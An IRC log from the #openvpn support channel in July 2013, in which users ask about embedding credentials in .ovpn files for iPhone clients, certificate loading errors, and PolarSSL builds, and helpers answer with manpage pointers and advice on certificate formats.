12:32 < haroldojardimfur> but now i need o acess my vpn using iphones and as long i know i cant up the txt file
12:32 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
12:33 < haroldojardimfur> theres anyway to do it including the pass and authentication directly in a ovpn file^?
12:33 < haroldojardimfur> i did it with the ca and key
12:33 < haroldojardimfur> but couldnt do with password
12:33 < haroldojardimfur> any help?
12:37 < haroldojardimfur> JAVACODER: any idea?
12:38 < haroldojardimfur> sorry if its a stupid question but i was trying to conf that during the whole night
12:44 -!- haroldojardimfur [~quassel@177.158.132.142] has quit [Ping timeout: 268 seconds]
12:46 -!- haroldojardimfur [~quassel@177.158.132.142] has joined #openvpn
12:47 < haroldojardimfur> ?
12:48 -!- baf [~none@81.90.250.239] has quit [Quit: My damn controlling terminal disappeared!]
12:50 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 260 seconds]
12:51 < haroldojardimfur> i was checking http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html
12:51 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
12:52 < haroldojardimfur> and it says that you have to pass the authfile and method
12:52 < haroldojardimfur> =/
12:52 < haroldojardimfur> have no idea how do solve that problem
12:52 < pekster> Why are you using the "2.0.x" manpage?
12:52 < pekster> !man
12:52 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
12:53 < pekster> Further, the iPhone is using 'OpenVPN Connect' which isn't openvpn directly; IIRC it has a way to set the un/pw within the app
12:53 < pekster> For iphone/android it's usually easier to get a working config on a PC, then import it into the mobile device
12:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
12:54 < haroldojardimfur> that what i did
12:55 < haroldojardimfur> but you can pass the password directly
12:55 < haroldojardimfur> in a ovpn file
12:55 < haroldojardimfur> i've search for that
12:55 < haroldojardimfur> and i tried to use stdin
12:55 < pekster> No, you can't (not on GPL openvpn anyway - I've no idea if the iPhone non-GPL stuff does it differently)
12:55 < haroldojardimfur> so it would ask to that
12:56 < pekster> See --auth-user-pass in the manpage
12:56 < haroldojardimfur> already tried that
12:57 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:57 < pekster> I've used that before, so I know it works, at least on the GPL code (which is all that's supported officially here)
12:58 < pekster> There's also --management-query-passwords which uses the management channel to query for inputs (user/pass/key-passphrase) that would normally have come from stdin at an interactive console
13:12 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
13:20 -!- haroldojardimfur [~quassel@177.158.132.142] has quit [Ping timeout: 240 seconds]
13:23 -!- haroldojardimfur [~quassel@177.158.132.142] has joined #openvpn
13:29 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:30 < haroldojardimfur> has anyway to input directly http-proxy password and username in a .ovpn?
13:30 < haroldojardimfur> ive tried everything without sucess
13:31 < haroldojardimfur> the problem is that normally you create a file with your password
13:31 < haroldojardimfur> but it wont work for iphone
13:31 < haroldojardimfur> openvpn
13:33 -!- JAVACODER [~JAVACODER@2.190.46.146] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
13:44 -!- LeLutin_ is now known as LeLutin
13:44 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 246 seconds]
13:50 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
13:56 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Read error: Connection reset by peer]
13:56 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
13:57 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 248 seconds]
13:58 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 248 seconds]
13:59 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
13:59 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:09 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
--- Log closed Thu Jul 04 14:39:16 2013
--- Log opened Thu Jul 04 14:39:31 2013
14:39 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
14:39 -!- Irssi: #openvpn: Total of 192 nicks [8 ops, 0 halfops, 1 voices, 183 normal]
14:39 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
14:39 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:39 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
14:39 -!- erry_ [erry@freenode/gms-slayer/erry] has left #openvpn []
14:40 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
14:40 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 248 seconds]
14:40 -!- Irssi: Join to #openvpn was synced in 40 secs
14:40 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
14:40 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
14:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:41 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 248 seconds]
14:41 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 248 seconds]
14:41 -!- uuuppz_ [uuuppz@78.129.207.46] has quit [Ping timeout: 248 seconds]
14:41 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 248 seconds]
14:41 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 248 seconds]
14:41 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 248 seconds]
14:41 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 248 seconds]
14:41 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 248 seconds]
14:41 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:41 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
14:42 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
14:42 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
14:42 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:42 -!- osa [~s@178.209.52.23] has quit [Ping timeout: 246 seconds]
14:43 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Ping timeout: 620 seconds]
14:44 -!- jd [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:44 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
14:44 -!- jd is now known as Guest72684
14:47 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 276 seconds]
14:47 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:51 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 276 seconds]
14:52 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 276 seconds]
14:53 -!- flo|va-n1-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
14:54 -!- Gasseus [~rallias@unaffiliated/gasseus] has joined #openvpn
14:57 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
14:57 -!- afuentes_ [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
14:57 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 276 seconds]
14:57 -!- Rallias [~rallias@unaffiliated/gasseus] has quit [Ping timeout: 276 seconds]
14:57 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 276 seconds]
14:57 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
15:00 -!- osa [~s@static.88-198-124-132.clients.your-server.de] has joined #openvpn
15:05 -!- osa [~s@static.88-198-124-132.clients.your-server.de] has left #openvpn []
15:19 -!- zeroXten [~zeroXten@37.139.3.39] has quit [Quit: leaving]
15:19 -!- zeroXten [~zeroXten@37.139.3.39] has joined #openvpn
15:19 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
15:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:24 -!- mattock is now known as mattock_afk
15:27 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
15:32 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
15:44 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
15:44 < vaillor> hi
15:46 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
16:10 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
16:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:18 -!- Gasseus is now known as Rallias
16:28 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 264 seconds]
16:48 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
16:50 -!- kplong [~klong@sw.central-asia.net] has joined #openvpn
16:51 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
16:52 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
16:52 -!- Mcloven__ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
16:55 -!- kplong [~klong@sw.central-asia.net] has quit []
16:56 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 256 seconds]
17:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
17:01 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 240 seconds]
17:08 -!- hg_5__ [~chatzilla@91.234.245.245] has joined #openvpn
17:09 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
17:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:13 -!- hg_5__ [~chatzilla@91.234.245.245] has quit [Ping timeout: 240 seconds]
17:14 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
17:14 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
17:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:21 -!- master_o1_master [~master_of@p4FF24618.dip0.t-ipconnect.de] has joined #openvpn
17:25 -!- master_of_master [~master_of@p4FD7BF8B.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
17:33 -!- Devastator [~devas@186.214.110.222] has quit [Changing host]
17:33 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
17:34 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-znnyduhrvnvqkksq] has left #openvpn []
17:39 -!- dvl is now known as dvl-3
17:39 -!- Denial [Denial@90.205.133.229] has quit []
17:40 -!- dvl-3 is now known as dvl
17:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
17:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:56 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
17:57 -!- hg_5__ [~chatzilla@91.234.245.245] has joined #openvpn
17:58 -!- hg_5___ [~chatzilla@91.234.245.245] has joined #openvpn
17:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
18:00 -!- hg_5____ [~chatzilla@91.234.245.245] has joined #openvpn
18:01 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
18:02 -!- hg_5__ [~chatzilla@91.234.245.245] has quit [Ping timeout: 268 seconds]
18:03 -!- hg_5___ [~chatzilla@91.234.245.245] has quit [Ping timeout: 268 seconds]
18:08 -!- dazo is now known as dazo_afk
18:17 -!- C-S-B [~C-S-B@host81-159-157-214.range81-159.btcentralplus.com] has quit [Ping timeout: 252 seconds]
18:20 -!- Mitchell92 [~kvirc@c-24-61-94-90.hsd1.nh.comcast.net] has joined #openvpn
18:20 < Mitchell92> Hi... Having problem with OpenVPN. TYPE := { vlan | veth | vcan | dummy | ifb | macvlan | can } [FAILED]
18:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:24 < EugeneKay> !configs
18:24 < EugeneKay> !logs
18:24 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:24 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
18:24 < EugeneKay> !paste
18:24 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
18:26 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has joined #openvpn
18:32 -!- Mitchell92 [~kvirc@c-24-61-94-90.hsd1.nh.comcast.net] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
18:37 < vaillor> guys, a little question: reading about tls-server on the manual, it said that openvpn does not really work in client-server architecture, but in p2p, so but, client-server mode is only for key encryption control. Now i ask you: what difference is there between: --mode server,  --tls-server, and --server ? because it is not very clear
18:42 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
19:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:28 -!- Serrus [~Serrus@c-46-246-19-141.anonymous.at.anonine.com] has joined #openvpn
19:33 < Serrus> Hi
19:35 < Serrus> does someone know if the fix suggested on http://www.dnsleaktest.com/how-to-fix-a-dns-leak.php  when there is a dnsleak using openvpn is actually legit, or is it some sneaky lame script that could cause harm instead.
19:35 <@vpnHelper> Title: How to fix a DNS leak (at www.dnsleaktest.com)
19:36 -!- hg_5____ [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
20:00 -!- Serrus [~Serrus@c-46-246-19-141.anonymous.at.anonine.com] has quit [Changing host]
20:00 -!- Serrus [~Serrus@unaffiliated/serrus] has joined #openvpn
20:04 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:30 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
20:33 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
20:33 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
20:34 -!- cherwin_ [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
20:35 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
20:37 -!- WinstonSmith_ [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has joined #openvpn
20:37 -!- BasicXP_ [~basicxp@199.241.31.34] has joined #openvpn
20:38 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
20:38 -!- Netsplit *.net <-> *.split quits: mcp, nish, WinstonSmith, Wintereise, GabrieleV, nutron, mete, qmr, BasicXP, cherwin,  (+4 more, use /NETSPLIT to show all of them)
20:38 -!- GabrieleV_ is now known as GabrieleV
20:39 -!- Netsplit over, joins: nish
20:39 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
20:41 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
20:41 -!- mete [~mete@mete.shell.la] has joined #openvpn
--- Log closed Thu Jul 04 20:49:46 2013
--- Log opened Thu Jul 04 20:50:00 2013
20:50 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
20:50 -!- Irssi: #openvpn: Total of 170 nicks [6 ops, 0 halfops, 1 voices, 163 normal]
20:50 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
20:50 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
20:50 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
20:50 -!- Irssi: Join to #openvpn was synced in 35 secs
20:50 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:50 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
20:51 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
20:51 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has joined #openvpn
20:51 -!- dazo_afk is now known as dazo
20:52 -!- trumee [~parul@93.186.144.251] has joined #openvpn
20:52 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
20:52 -!- zampa_ [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
20:52 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
20:53 -!- Serrus [~Serrus@unaffiliated/serrus] has quit [Quit: ...]
20:54 -!- hjohnson_ [~hans@d99-199-161-6.bchsia.telus.net] has joined #openvpn
20:54 -!- hipodils1i [~hipo@pc-freak.net] has joined #openvpn
20:55 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
20:56 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
20:58 -!- BasicXP_ [~basicxp@199.241.31.34] has joined #openvpn
20:59 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
20:59 -!- Netsplit *.net <-> *.split quits: @vpnHelper, hjohnson, hipodilski, qwertyoruiop, zampa, mete-, havoc_, [1]JPeterson, xTz
20:59 -!- qwertyoruiop_ is now known as qwertyoruiop
20:59 -!- novaflash_ [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
21:00 -!- Netsplit over, joins: zampa
21:00 -!- mete [~mete@mete.shell.la] has joined #openvpn
21:00 -!- ppr [~peper@node.piotrj.org] has joined #openvpn
21:00 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
21:01 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has joined #openvpn
21:02 -!- majuscul1 [~dylan@dylansserver.com] has joined #openvpn
21:05 -!- Netsplit *.net <-> *.split quits: _br_, majuscule, Sjors, @plaisthos, eliasp, Fiouz, pwrcycle, peper, zampa_, Zenum,  (+10 more, use /NETSPLIT to show all of them)
21:05 -!- novaflash_ is now known as novaflash
21:06 -!- Netsplit over, joins: _br_
21:06 -!- Netsplit over, joins: Dropje
21:06 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
21:13 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
21:13 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-gibnlghyzextanku] has joined #openvpn
21:13 -!- WorkRoey [~roey@216-15-7-159.c3-0.bth-ubr1.lnh-bth.md.cable.rcn.com] has joined #openvpn
21:21 -!- tjz [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
21:24 -!- D3Vito [d3vito@d3vito.de] has joined #openvpn
21:28 -!- ChanServ [ChanServ@services.] has joined #openvpn
21:28 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
21:28 -!- ServerMode/#openvpn [+o ChanServ] by barjavel.freenode.net
21:28 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
21:30 -!- Guest72684 [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
21:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
21:31 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
21:31 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
21:31 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
21:31 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
21:31 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
21:31 -!- ServerMode/#openvpn [+o plaisthos] by barjavel.freenode.net
21:45 -!- Netsplit *.net <-> *.split quits: Wintereise, @ChanServ
21:55 -!- rooth_ is now known as rooth
21:57 -!- Wintereise [~reise@2605:6400:2:fed5:20:0:1705:1] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:35 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:48 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-tgsclazowimasawe] has joined #openvpn
22:50 -!- BasicXP_ [~basicxp@199.241.31.34] has quit [Changing host]
22:50 -!- BasicXP_ [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
23:27 -!- ferai is now known as Guest82317
23:27 -!- nutron is now known as Guest55360
23:27 -!- xTz is now known as Guest28121
23:27 -!- dazo is now known as Guest38415
23:27 -!- Wintereise [~reise@2605:6400:2:fed5:20:0:1705:1] has quit [Changing host]
23:27 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
23:27 -!- Guest38415 [~dazo@2001:470:de40:1021::14] has quit [Changing host]
23:27 -!- Guest38415 [~dazo@openvpn/community/developer/dazo] has joined #openvpn
23:27 -!- mode/#openvpn [+o Guest38415] by ChanServ
23:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
23:27 -!- mode/#openvpn [+o vpnHelper] by ChanServ
23:39 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
--- Day changed Fri Jul 05 2013
00:22 -!- afuentes_ [~afuentes@213.37.131.197.static.user.ono.com] has quit [Quit: Leaving]
00:58 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:12 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
01:28 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:34 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
01:34 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
01:36 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
01:36 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
01:37 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:45 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 264 seconds]
01:47 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
01:49 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
01:56 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 256 seconds]
02:02 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has joined #openvpn
02:05 -!- mattock_afk is now known as mattock
02:11 -!- Alina-malina [Alina-mali@37.252.65.16] has quit [Quit: Leaving]
02:11 -!- Alina-malina [~Alina-mal@37.252.65.16] has joined #openvpn
02:14 -!- hR13 [~hR13@h216n3c1o253.bredband.skanova.com] has quit [Ping timeout: 256 seconds]
02:18 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:18 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:29 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:38 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Remote host closed the connection]
02:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:51 -!- tete_ [~John@62-2-210-114.static.cablecom.ch] has joined #openvpn
02:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:53 < tete_> hi, i can not connect to a vpn server and i guess it is somehow related to the configuration. unfortunately it is not my vpn server. it even runs no openvpn server. i use pkcs11 for authentication and i run win7 x64. http://pastebin.com/38e0hBvN
02:53 < tete_> would be great if someone could help me whats wrong with that
02:54 < tete_> error: http://pastebin.com/tKGJbSau
02:54 < tete_> the ca.crt is there - location is correct (imo)
02:55 < tete_> its a 2k bit DER encoded certificate
03:00 -!- andi [~andi@unaffiliated/fr00d] has quit [Remote host closed the connection]
03:13 -!- Guest38415 is now known as dazo
03:17 < tete_> no one?
03:21 < EugeneKay> You want PEM, not DER.
03:21 < EugeneKay> And certs don't have key lengths; private keys do.
03:22 -!- hipodilski [~hipo@pc-freak.net] has joined #openvpn
03:22 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
03:22 < tete_> ok thanks for that information, will try it with PEM
03:23 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:24 < tete_> unfortunately still the same error...
03:24 < tete_> i have only the pkcs11-provider and the pkcs11-id - both match as i can see that this get queried from the token
03:25 < EugeneKay> Stupid question
03:25 < tete_> -"both match" +"both are correct" .. my english is not the best
03:25 < EugeneKay> Does teh file "C:\Program Files\OpenVPN\ca.crt" exist?
03:25 < tete_> i just changed that to c:\\ca.crt and yes, it exists
03:26 < tete_> Fri Jul 05 10:23:51 2013 us=687263 PKCS#11: pkcs11h_certificate_freeCertificateId return
03:26 < tete_> Fri Jul 05 10:23:51 2013 us=688263 Cannot load CA certificate file C:\ca.crt (OpenSSL)
03:26 < tete_> Fri Jul 05 10:23:51 2013 us=689263 Exiting due to fatal error
03:26 < EugeneKay> I'd ask you to paste configs, etc, but It's 3:30AM, and I'm off to bed.
03:26 < tete_> windows can open the PEM .crt and displays everything correctly
03:26  * EugeneKay waves
03:27 < tete_> i pasted the config a few lines above
03:27 < tete_> n8
03:28 -!- Netsplit *.net <-> *.split quits: eliasp_, hipodils1i, @krzee, MikeH
03:28 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
03:29 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
03:32 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
03:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:34 -!- mode/#openvpn [+o krzee] by ChanServ
03:43 -!- tete_ [~John@62-2-210-114.static.cablecom.ch] has quit [Ping timeout: 264 seconds]
03:57 -!- hR13 [~hR13@79.102.242.153] has joined #openvpn
04:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:12 -!- hR13 [~hR13@79.102.242.153] has quit [Ping timeout: 256 seconds]
04:13 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:30 -!- Denial [Denial@90.205.133.229] has joined #openvpn
05:35 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
05:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
05:44 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
05:44 < YamakasY> Hi guys
05:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:46 < Whoopie> Hi, I compiled openvpn 2.3.2 with polarssl 1.2.8 on my MIPS system. I then tried to connect to it with OpenVPN Connect on Android and receive the following message: "Verification of the message MAC failed."
05:47 < Whoopie> It works fine when linked against OpenSSL.
05:53 < Whoopie> Could anyone give me a hint why it fails?
05:53 -!- Serrus [~Serrus@unaffiliated/serrus] has joined #openvpn
05:54 < Serrus> hi
06:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
06:01 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
06:03 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
06:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
